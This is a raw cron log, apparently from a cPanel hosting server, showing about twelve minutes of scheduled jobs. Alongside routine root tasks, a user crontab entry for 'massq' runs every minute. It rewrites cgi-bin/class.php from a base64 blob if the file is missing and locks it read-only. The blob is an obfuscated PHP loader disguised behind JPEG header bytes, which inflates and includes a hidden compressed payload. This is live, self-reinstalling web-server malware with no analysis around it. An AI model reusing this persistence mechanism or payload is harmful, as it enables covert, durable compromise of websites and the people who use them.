Nov 15 13:44:01 server CROND[13858]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:45:01 server CROND[14213]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 13:45:01 server CROND[14214]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 13:45:01 server CROND[14215]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:46:01 server CROND[14547]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:47:01 server CROND[14803]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:48:01 server CROND[15062]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:49:01 server CROND[15327]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:50:01 server CROND[15687]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 13:50:01 server CROND[15688]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 13:50:01 server CROND[15694]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 13:50:01 server CROND[15696]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 13:50:01 server CROND[15695]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:51:01 server CROND[16009]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:52:01 server CROND[16257]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:53:01 server CROND[16517]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:54:01 server CROND[16785]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:55:01 server CROND[17052]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 13:55:01 server CROND[17053]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:55:01 server CROND[17054]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 13:56:01 server CROND[17463]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
